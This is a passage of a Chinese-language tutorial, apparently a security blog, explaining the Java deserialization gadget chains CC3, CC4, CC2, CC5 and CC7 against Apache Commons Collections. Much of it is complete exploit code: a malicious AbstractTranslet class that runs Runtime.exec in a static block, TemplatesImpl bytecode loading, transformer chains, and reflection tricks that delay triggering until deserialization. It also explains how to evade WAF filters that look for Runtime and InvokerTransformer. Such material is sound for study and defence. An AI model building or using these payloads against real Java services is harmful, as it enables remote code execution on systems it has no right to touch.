要调用它的方法,所以这个属性也不能是空的,否则会抛空指针异常。这里有个关键点:_tfactory这个变量,

是被transient关键字修饰的,也就是说它不会被序列化,就算给它赋值,序列化之后再反序列化,它的值也会变成null。
那怎么办?我们直接看一下TemplatesImpl的readObject()方法就知道了,

在反序列化的时候,它会自动给_tfactory这个属性赋值,所以我们本地测试的时候,可以先给它赋一个值保证本地调用不报错,序列化的时候就算去掉也没关系,不影响反序列化后的利用。
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"qaqa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E://Tmp//Test.class"));
byte[][] bytess = {bytes};
bytecodesField.set(templates,bytess);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
templates.newTransformer();目前构造恶意 TemplatesImpl 需先通过反射赋值三个必要属性,其中核心是_bytecodes—— 需要往里面放入我们编写的恶意类字节码。
这里有个关键坑点:在defineTransletClass()方法里有个 if 判断

会校验加载的类的父类名称是否等于ABSTRACT_TRANSLET常量(即com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet);如果不相等,会调用_class.putInstance()且参数为空,直接抛出空指针异常。
因此我们的恶意类必须继承AbstractTranslet这个抽象类:创建 Test 恶意类并继承它,由于抽象类必须实现抽象方法,所以要空实现transform()方法(不影响恶意逻辑);然后在恶意类的静态代码块或构造方法中写入恶意代码(比如弹出计算器),最后将这个类编译成 class 字节码文件,放到指定路径下。
public class Test extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}至此我们的恶意 TemplatesImpl 对象就构造完成了,直接调用它的newTransformer()方法做测试,能看到计算器成功弹出,这就说明我们写入的恶意逻辑已经执行成功了。

现在我们已经有了能执行任意代码的 TemplatesImpl 终点,接下来的操作很简单:只需把 CC1 链后半段调用Runtime.exec()的部分,替换成调用 TemplatesImpl 的newTransformer()方法即可,前半段的调用链完全复用。
我们之前讲CC1的时候,用的是InvokerTransformer来反射调用方法,这里也一样。我们用ConstantTransformer把我们构造好的恶意TemplatesImpl对象传进去。
// templates.newTransformer();
Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[]{null}, new Object[]{null})
};
Transformer chainedTransformer = (Transformer)new ChainedTransformer(transformers);
chainedTransformer.transform(1212);然后把这两个Transformer放到ChainedTransformer里,再用TransformedMap或者LazyMap把它包起来,再套上AnnotationInvocationHandler入口类,整条链就通了。我们把对象序列化再反序列化,就能看到计算器成功弹出来了。
public class CC3Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"qaqa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E://Tmp//Test.class"));
byte[][] bytess = {bytes};
bytecodesField.set(templates,bytess);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
Transformer chainedTransformer = (Transformer)new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMapdecorate = LazyMap.decorate(map, chainedTransformer);
Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annoConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
annoConstructor.setAccessible(true);
InvocationHandler o = (InvocationHandler) annoConstructor.newInstance(Target.class,lazyMapdecorate);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);
Object o1 = annoConstructor.newInstance(Override.class, mapProxy);
//Ser(o1);
unser("cc3.bin");
}
public static void Ser(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc3.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unser(String file) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(file));
Object o = objectInputStream.readObject();
return o;
}
}
CC3 的核心是更换了代码执行的方式,而这个改动的意义至关重要:大量 WAF、防护设备会对反序列化流量中的Runtime、exec()等关键字做黑名单过滤,而 CC3 链全程未使用 Runtime 类,能完全绕开这类针对 Runtime 的防护策略,这正是它最核心的价值。
刚才写的是简化版的CC3链,看ysoserial工具里的原版CC3链,

CC3 还能借助InstantiateTransformer和TrAXFilter这两个类,绕开防护设备对 InvokerTransformer 的检测。我们接下来拆解它的实现逻辑,先从 InstantiateTransformer 入手,看看它的 transform () 方法到底起什么作用。


InstantiateTransformer 的 transform () 方法逻辑很明确:如果传入的参数是 Class 类型,它会获取该 Class 对应参数类型的构造器,再调用 newInstance () 实例化对象 —— 简单说,它就是专门用来调用构造方法的 Transformer。
而我们要通过它实例化的类,正是com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter,这也是绕开 InvokerTransformer 检测的关键。

我们先看 TrAXFilter 的构造方法:它接收一个 Templates 类型的参数,而我们的 TemplatesImpl 恰好实现了 Templates 接口;关键是,TrAXFilter 构造方法里会直接调用templates.newTransformer()—— 这正是我们要触发的恶意方法!
因此只要用 InstantiateTransformer 去实例化 TrAXFilter 类,把恶意 TemplatesImpl 对象作为构造参数传进去,在实例化 TrAXFilter 的过程中,就会自动触发newTransformer(),执行我们的恶意代码。
创建 InstantiateTransformer 实例时,需在其构造方法中传入两个关键内容:一是 TrAXFilter 构造方法的参数类型(即 Templates.class),二是对应的参数值(即我们的恶意 TemplatesImpl 对象)。

这里依然遇到了和 CC1 相同的问题:ChainedTransformer 执行时会传入外部无关的参数值,导致逻辑异常。解决思路也和 CC1 一致 —— 用 ConstantTransformer 来固定传入的值:

将这个 ChainedTransformer 放入 LazyMap 后,无论是套上 CC6 的 HashMap+TiedMapEntry 入口,还是 CC1 的 AnnotationInvocationHandler 入口,都能正常触发恶意逻辑 —— 这就是 ysoserial 中原版的 CC3 链。
补充一个实用细节:给 TemplatesImpl 的_tfactory属性赋值的代码,在序列化时完全可以去掉;因为_tfactory被 transient 修饰,不会被序列化保存,而 TemplatesImpl 的readObject()方法在反序列化时会自动为它赋值,丝毫不影响漏洞利用。如果有缩小序列化 payload 体积的需求,直接注释这行赋值代码就行。
public class CC3Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"qaqa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E://Tmp//Test.class"));
byte[][] bytess = {bytes};
bytecodesField.set(templates,bytess);
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
Transformer chainedTransformer = (Transformer)new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMapdecorate = LazyMap.decorate(map, new ConstantTransformer(111));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMapdecorate, "aaa");
HashSet<Object> hashSet = new HashSet<>();
hashSet.add(tiedMapEntry);
lazyMapdecorate.remove("aaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field lazyMapClassDeclaredField = lazyMapClass.getDeclaredField("factory");
lazyMapClassDeclaredField.setAccessible(true);
lazyMapClassDeclaredField.set(lazyMapdecorate,chainedTransformer);
// Ser(hashSet);
unser("cc3.bin");
}
public static void Ser(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc3.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unser(String file) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(file));
Object o = objectInputStream.readObject();
return o;
}
}
CC3 链的全部内容就到这里。这条链新增的知识点并不多,核心就是 TemplatesImpl 这个类的利用—— 它通过动态类加载实现任意代码执行,绕开了对传统命令执行的防护。
它高度依赖前面的基础:类加载、反射,以及 CC1、CC6 的调用链逻辑,忘了的话可以回头复习。
TemplatesImpl 非常关键,不只是 CC3,后面大量 JDK 原生反序列化链,最终都会用到它。因为 JDK 里能公开、动态加载字节码并触发代码执行的点本来就极少,它原本只是用来加载 XML 模板、做转换的类,正是因为这种动态特性,才成为反序列化漏洞里最常用的恶意代码执行终点。
Commons Collections4
针对Commons Collections 4这个大版本的。先看一下Maven依赖,

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>Commons Collections更新了4.0这个大版本,这个版本里依然存在反序列化漏洞,CC2、CC4链,就是针对这个4.x版本的。
这些链本质上换汤不换药,核心利用逻辑可总结为:不管是哪条链,最终代码执行的方式只有两类 —— 要么是动态类加载实现的任意代码执行,要么是反射调用实现的系统命令执行;真正变化的只是中间的调用链路,核心触发点依然是 Commons Collections 中 Transformer 接口的transform()方法。
以 ChainedTransformer 为例,我们只需找到它的transform()方法被调用的地方,最终就定位到了TransformingComparator这个关键类,这也是 CC2/CC4 链的核心切入点之一。

TransformingComparator 是 CC2/CC4 链的核心类,它有两个关键特性:一是实现了 Serializable 接口,支持序列化;二是它的 compare () 方法会调用我们传入的 Transformer 的 transform () 方法 —— 而 compare () 作为 Java 常用的比较器方法,会在数组排序、集合排序等场景中被大量调用。
我们接下来的核心思路很明确:往回追溯调用链路,找到哪个类的readObject()方法里会间接调用 compare () 方法,只要找到这个类,就能把反序列化的入口和 transform () 的恶意逻辑串联起来。

而我们最终在 JDK 内置的PriorityQueue(优先队列) 类中,找到了这个关键的调用点,接下来重点分析 PriorityQueue 的readObject()方法。
我们看一下PriorityQueue的readObject()方法

里面最终会调用heapify()方法,heapify()是优先队列二叉堆结构的核心方法,而heapify()里又会调用siftDown()方法,

最终走到siftDownUsingComparator()方法里,这里面就会调用我们传入的比较器的compare()方法。


这就完美衔接了我们的调用点,核心流程梳理如下:
我们最终要触发 Transformer 的 transform () 方法,它的上一级调用点是 TransformingComparator 的 compare () 方法,而 PriorityQueue 的 readObject () 方法(反序列化时自动触发)会调用 compare ()。说白了就是把入口类换成了 PriorityQueue,中间新增 TransformingComparator 环节,最终还是走到 transform () 的恶意逻辑里。
可能有人会问:PriorityQueue 是 JDK 类,为啥这条链属于 CC4、不能用在 CC3?问题就出在 TransformingComparator 这个类上 —— 我们来看 Commons Collections 3 里的 TransformingComparator...

它没有实现Serializable接口,不可序列化;而到了Commons Collections 4里,

TransformingComparator 在 Commons Collections 4 中居然实现了 Serializable 接口,这恰好为我们提供了新的攻击路径,还挺有意思的。
核心逻辑理清后直接写代码即可:代码执行部分完全不用改,直接复用 CC3 里动态加载恶意类的 TemplatesImpl 逻辑,注意要切换到 Commons Collections 4 的依赖包,别导错包;接着按之前的方式构造 ChainedTransformer 恶意链,通过 ConstantTransformer+InstantiateTransformer+TrAXFilter 的组合,最终触发 TemplatesImpl 的 newTransformer () 方法,执行我们的恶意代码。
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"qaqa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E://Tmp//Test.class"));
byte[][] bytess = {bytes};
bytecodesField.set(templates,bytess);
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
Transformer chainedTransformer = (Transformer)new ChainedTransformer(transformers);现在我们要做的,就是让这条恶意链被触发。

我们先new一个TransformingComparator实例,它的构造方法可以直接传入Transformer对象,我们把刚才构造的ChainedTransformer传进去。
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
有了TransformingComparator之后,下一步就是把它放到PriorityQueue优先队列里。我们看PriorityQueue的构造方法,

正好有一个可以直接传入Comparator比较器的重载版本,我们直接把刚构造的TransformingComparator传进去。
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);到这里,是不是觉得逻辑就通了?直接把这个PriorityQueue序列化再反序列化,就能触发漏洞了?我们先执行一下,会发现无事发生,那我们直接跟进去调试,在PriorityQueue的readObject()方法里下个断点。
我们一步步调试,会看到readObject()里会给queue数组赋值,

PriorityQueue 中存储元素的queue成员变量是被transient修饰的 Object 数组,但transient并不意味着这部分内容完全无法传递 —— 看readObject()的逻辑就能发现,反序列化时它会把序列化阶段存储的单个元素逐个读取出来,重新放入queue数组,而非直接序列化整个数组。
具体来说:
- 序列化(writeObject):手动将queue里的元素逐个写出去;
- 反序列化(readObject):手动把元素读回来,重新组装成queue数组。
接下来我们看核心的heapify()方法,


PriorityQueue 的readObject()方法里有个关键 for 循环,循环条件是i >= 0,而 i 的初始值是(size >>> 1) - 1(size 是队列元素个数)。如果队列是空的(size=0),0 右移 1 位还是 0,减 1 后 i=-1,循环根本不会执行,也就走不到siftDownUsingComparator()方法里,恶意逻辑自然无法触发。

我们明确了核心问题:PriorityQueue 的 size 必须至少≥2,才能进入 heapify () 的循环逻辑,进而触发 compare () 方法。解决方法很简单,只需往队列里添加两个任意内容的元素即可,比如整数 1 和 2。
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);添加两个元素后执行代码,结果直接报错了,报错位置就在调用 add () 方法添加元素的时候。原因很明确:PriorityQueue 的 add () 方法底层会调用 offer () 方法,offer () 里会执行 siftUp () 方法,而 siftUp () 中同样会调用比较器的 compare () 方法 —— 这就导致我们的恶意逻辑在添加元素时就被提前触发,而非预期的反序列化阶段。

这个问题和我们此前讲 URLDNS、CC6 时遇到的完全一样:原本期望反序列化阶段触发恶意逻辑,结果本地调用 add () 添加元素时,就提前触发了 compare () 方法,进而执行 transform () 的恶意逻辑。
解决思路也沿用之前的方案:构造 TransformingComparator 时,先传入无害的 Transformer,这样 add 元素时即便调用 compare (),也不会执行恶意代码;等元素添加完成、序列化之前,再通过反射把 TransformingComparator 里的 transformer 属性,替换成我们构造的恶意 ChainedTransformer 即可。

代码也很简单:先获取TransformingComparator的Class对象,拿到它的私有成员变量transformer,

开启访问权限,然后调用set()方法,把我们的恶意ChainedTransformer赋值进去。改完之后,我们再执行序列化、反序列化,

就能看到计算器成功弹出来了,这就是Commons Collections 4里的CC4链。
Commons Collections2
CC2 和 CC4 均针对 Commons Collections 4 版本,二者几乎无差别,仅核心触发逻辑有一处改动:
CC4 通过 InstantiateTransformer 实例化 TrAXFilter,间接触发 TemplatesImpl 的 newTransformer () 方法;而 CC2 直接用 InvokerTransformer 反射调用该方法,省去了实例化 TrAXFilter 的流程。

对应的代码改动也极小:构造好恶意 TemplatesImpl 对象后,只需新建 InvokerTransformer 并传给 TransformingComparator,后续 PriorityQueue 的处理、反射修改属性的逻辑,和 CC4 完全一致。
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"qaqa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E://Tmp//Test.class"));
byte[][] bytess = {bytes};
bytecodesField.set(templates,bytess);
// templates.newTransformer()
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1212));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class<? extends TransformingComparator> comparatorClass = transformingComparator.getClass();
Field transformerField = comparatorClass.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,invokerTransformer);
// Ser(priorityQueue);
unser("cc2.bin");
执行后序列化过程正常,反序列化时成功弹出计算器,这就是完整的 CC2 链。可以自行调试验证,代码逻辑很简单:优先队列只会对第一个元素做比较处理,传入第二个元素仅为满足 size≥2 的触发条件(注意:TransformingComparator 会先对 compare 方法的第一个参数执行 transform,若第一个参数是 Integer 这类普通对象,会直接报错崩溃,根本轮不到第二个恶意对象)。
另外补充:ysoserial 中的 CC2 链为避免本地提前执行恶意逻辑,并未像我们这样反射修改 transformer 属性,而是先给 InvokerTransformer 传入 "toString" 这个无害的方法名,等 add 元素完成后,再通过反射把方法名改成 "newTransformer"—— 思路和我们完全一致,只是修改的属性位置不同,无本质区别。
org/apache/commons/collections4/functors/InvokerTransformer.java

java/util/PriorityQueue.java


TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"qaqa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E://Tmp//Test.class"));
byte[][] bytess = {bytes};
bytecodesField.set(templates,bytess);
// templates.newTransformer()
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("toString", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(invokerTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class<? extends InvokerTransformer> invokerTransformerClass = invokerTransformer.getClass();
Field iMethodNameField = invokerTransformerClass.getDeclaredField("iMethodName");
iMethodNameField.setAccessible(true);
iMethodNameField.set(invokerTransformer,"newTransformer");
Class<? extends PriorityQueue> priorityQueuegetClass = priorityQueue.getClass();
Field queueField = priorityQueuegetClass.getDeclaredField("queue");
queueField.setAccessible(true);
Object[] ququArray= (Object[])queueField.get(priorityQueue);
ququArray[0] = templates;
// Ser(priorityQueue);
unser("cc2.bin");CC2 链有个关键特点:全程未使用 ChainedTransformer(即没有用到 Transformer 数组)—— 此前我们讲的 CC 链几乎都依赖 ChainedTransformer 的数组来串联调用逻辑,而 CC2 无需数组就能完成漏洞利用。
之所以强调这一点,是因为在后续的反序列化场景中(比如部分中间件、Shiro 反序列化漏洞),有些环境会重写类加载方法,对数组类型的处理存在缺陷,导致带数组的利用链加载失败;这种情况下,CC2 这种不依赖数组的利用链就成了唯一可行的选择,这也是它最核心的价值。
Commons Collections5

它的前半段恶意逻辑和CC1、CC6完全一样,都是基于LazyMap.get()方法触发Transformer恶意链,唯一的不同,就是触发LazyMap.get()的入口类换了。
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = (Transformer)new ChainedTransformer(transformers);CC6 是通过 HashMap+TiedMapEntry 的 hashCode () 方法触发 map.get (),而 CC5 则以 JDK 内置的BadAttributeValueExpException类作为入口 —— 它的 readObject () 方法会调用传入对象的 toString () 方法,而 TiedMapEntry 的 toString () 方法会调用 getValue (),getValue () 又会调用 map.get (),最终触发 LazyMap 的恶意逻辑。


就是把CC6里的hashCode()触发,换成了toString()触发,后续的逻辑完全一模一样。

关注入口类:

反序列化时readObject()会自动调用val字段对应对象的toString(),我们只需给val赋值一个能通过toString()触发恶意链的对象,就能完成利用。
用构造方法传恶意对象会有两个致命问题:

构造时会直接调用val.toString(),本地提前触发恶意代码,还没序列化就执行了;
就算提前触发了,this.val最终存的是toString()的返回值(一个String对象),反序列化时会直接走到valObj instanceof String分支,不会再触发任何逻辑,利用完全失效。
正确做法:先用构造方法传一个无害值(比如null、空字符串),最后一步通过反射修改val字段为恶意对象
最终:
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = (Transformer)new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMapdecorate = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMapdecorate, "qaqa");
BadAttributeValueExpException badAtt = new BadAttributeValueExpException(null);
Field valField = badAtt.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAtt,tiedMapEntry);
// Ser(badAtt);
unser("cc5.bin");

这也给我们提了个醒:在找利用链的时候,不光要关注hashCode()、equals()这种通用方法,toString()方法里也很可能藏着可利用的调用点。
Commons Collections7

核心逻辑还是没变,只有入口点不一样,它用的是JDK里的Hashtable类作为反序列化入口。
我们看一下Hashtable的readObject()方法,
// Hashtable.readObject()
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
s.defaultReadObject();
int origlength = s.readInt();
int elements = s.readInt();
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
reconstitutionPut(table, key, value);
}
}里面最终会调用reconstitutionPut()方法,而这个方法里,为了保证key的唯一性,会调用key.equals()方法,

这个key就是我们可以控制的对象。所以我们的目标,就是找到一个类的equals()方法里,会调用Map.get()方法,最终接上LazyMap的恶意链。
我们逆向寻找,从lazyMap.get()开始
找到java/util/AbstractMap.equals()

找到AbstractMapEntryDecorator.equals()

找到java/util/Hashtable.reconstitutionPut()

最终Hashtable.readObject()

漏洞发现者最终定位到 Commons Collections 中的AbstractMapDecorator类:它的 equals () 方法会调用 JDK 内置 AbstractMap 的 equals () 实现,而这个方法为了比较两个 Map 是否相等,会循环执行 Map.get () 方法。只要将恶意的 LazyMap 传入,在 equals () 方法执行比较时,就会触发 get () 方法,进而执行我们的恶意逻辑。
简单来说,CC7 链只是把触发 LazyMap.get () 的方法从 hashCode ()(CC6)、toString ()(CC5)换成了 equals (),最终还是落到 LazyMap.get () 这个核心触发点上。此外 CC7 里还有哈希碰撞的小技巧(可自行调试验证),核心意义在于让大家了解:equals () 方法也能成为反序列化利用链的触发点,后续找调用链时可以往这个方向拓展思路。
最终效果+代码:
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer[] transformer = new Transformer[]{};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
innerMap1.put("yy", 1);
innerMap2.put("zZ", 1);
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
// put 进去时,lazyMap1和lazyMap2哈希相同,
//会在本地立刻触发 equals -> LazyMap2.get("yy")
hashtable.put(lazyMap2, 2);
//lazyMap2被put了一个 ("yy", 1) 的键值对
// 删掉,不然反序列化时找不到 yy不会触发懒加载
lazyMap2.remove("yy");
//反射换成恶意数组
Field iTransformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(chainedTransformer, transformers);
Ser(hashtable);
unser("cc7.bin");
到这里,ysoserial 中 Commons Collections 系列的 7 条利用链就全部讲解完毕了,给大家划重点:
- CC1 的核心价值是入门意义,是最经典的反序列化入门级利用链;
- 实用性最强的是 Commons Collections 3 中的 CC6 链,它兼容性最好,不受 JDK 版本限制;
- 而 Commons Collections 4 里的 CC2 链,因不依赖数组的特性,在很多特殊场景下有不可替代的作用。
吃透这几条链后会发现,反序列化利用链的核心逻辑其实可以拆分成三部分:
- 最核心的是最终的代码执行点,不管是 Runtime.exec () 执行系统命令,还是 TemplatesImpl 动态加载类执行代码,这部分是万变不离其宗的;
- 中间的调用链接力环节,就是找各种通用方法的调用点,不同链的差异主要体现在这里;
- 最终的反序列化入口类,其实大部分都是重复的,无非是那几个 JDK 内置类来回替换。
本文系统讲解Java原生序列化机制、反序列化安全风险及反射、动态代理、类加载等核心技术,并深入剖析URLDNS、CC1至CC7共7条经典利用链的构造逻辑与绕过技巧。
由 AI 根据全文自动生成,仅供参考,以原文为准